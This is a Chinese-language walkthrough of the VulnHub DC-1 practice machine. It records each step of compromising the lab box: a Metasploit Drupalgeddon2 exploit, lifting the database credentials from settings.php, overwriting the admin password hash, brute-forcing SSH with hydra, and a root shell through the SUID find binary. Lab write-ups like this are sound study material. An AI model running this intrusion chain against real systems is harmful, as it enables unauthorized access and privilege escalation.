vlunhub-DC1笔记
Posted 逆向菜狗
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vlunhub-DC1笔记相关的知识,希望对你有一定的参考价值。
常规扫端口、扫目录
使用meterpreter直接找drupalexp,使用:
exploit(unix/webapp/drupal_drupalgeddon2)
获取低权限。发现第一个flag1.txt
Every good CMS needs a config file - and so do you.
之后查看drupal的网站配置文件在:
sites/default/default.settings.php
去查看。其实在sites/default/settings.php中,发现数据库连接账密以及类型。该处为flag2
$databases = array (
\'default\' =>
array (
\'default\' =>
array (
\'database\' => \'drupaldb\',
\'username\' => \'dbuser\',
\'password\' => \'R0ck3t\',
\'host\' => \'localhost\',
\'port\' => \'\',
\'driver\' => \'mysql\',
\'prefix\' => \'\',
),
),
);
使用meterpreter连接数据库查看内容。连接不成功,需要用python做个交互式shell
mysql -udbuser -pR0ck3t
交互式shell(这个时候需要注意,不能直接msf进入,因为msf是从web服务打进去的,而HTTP是瞬时协议,需要让python来做一个中介)
python3 -c \'import pty; pty.spawn("/bin/bash")\'
或者
python -c \'import pty; pty.spawn("/bin/bash")\'
进入交互式shell之后,mysql进行连接。
查看数据库:show database;
查看表:show tables;
查看内容:select * from users; #或者 select * from users\\G
发现admin是加密后的密码,使用重置密码的方式修改账密。
php ./scripts/password-hash.sh xyg #该命令会得到一个hash,将该hash覆盖原有的admin账户的hash就可以了。
update users set pass="$S$DsLcHatEFOZuoyzX2BGttVFuWUdNMNAx31BPHwgyF1R2/V58LR8y" where uid=1;
########################修改密码
UPDATE USER SET PASSWORD=PASSWORD(\'123456\') WHERE USER=\'root\';
update users set pass="$S$DsLcHatEFOZuoyzX2BGttVFuWUdNMNAx31BPHwgyF1R2/V58LR8y" where uid=1;
使用admin/xyg登录后台,打开dashboard。发现flag3
Special PERMS will help FIND the passwd - but you\'ll need to -exec that command to work out how to get what\'s in the shadow.
大概意思就是PERMS可以找到passwd,你需要用-exec命令解决shadow。
那么先查看下shadow,提示灭有权限Permission denied。
那么查看passwd,发现有个flag4的账户。flag4:x:1001:1001:Flag4,,,:/home/flag4:/bin/bash
那么查看开放端口有22开放。可以使用22端口爆破。
在这里使用hydra -l flag -P /usr/share/john/password.lst ssh -vV -f
查看到flag4/orange账密
Can you use this same method to find or access the flag in root?
Probably. But perhaps it\'s not that easy. Or maybe it is?
##############################################
这里要讲一下,这里提示一个linux的suid提权。意思就是suid可以让调用者以文件拥有者的身份运行有权限的文件,利用SUID提权获得root用户的身份。
可以用来提权的linux可行性文件列表
nmap、vim、find、bash、more、less、nano、cp。
使用如下命令发现系统运行的所有可执行的SUID文件。
#以下命令将尝试查找具有root权限的SUID的文件,不同系统适用于不同的命令,一个一个试
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000-print2>/dev/null
find / -user root -perm -4000-exec ls -ldb {} \\;
##############################################
find / -perm -u=s -type f 2>/dev/null
/bin/mount
/bin/ping
/bin/su
/bin/ping6
/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/find
/usr/sbin/exim4
/usr/lib/pt_chown
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/sbin/mount.nfs
#############################
发现有find命令
那么可以find提权,当然前提是在ssh上面进行提权。
find -exec "/bin/sh" \\;
之后可以查看whoami#root
进入/root目录查看最终flag:
thefinalflag.txt
# cat the finalflag.txy
cat: the: No such file or directory
cat: finalflag.txy: No such file or directory
# cat thefinalflag.txt
Well done!!!!
Hopefully you\'ve enjoyed this and learned some new skills.
You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7
##################################
结束
以上是关于vlunhub-DC1笔记的主要内容,如果未能解决你的问题,请参考以下文章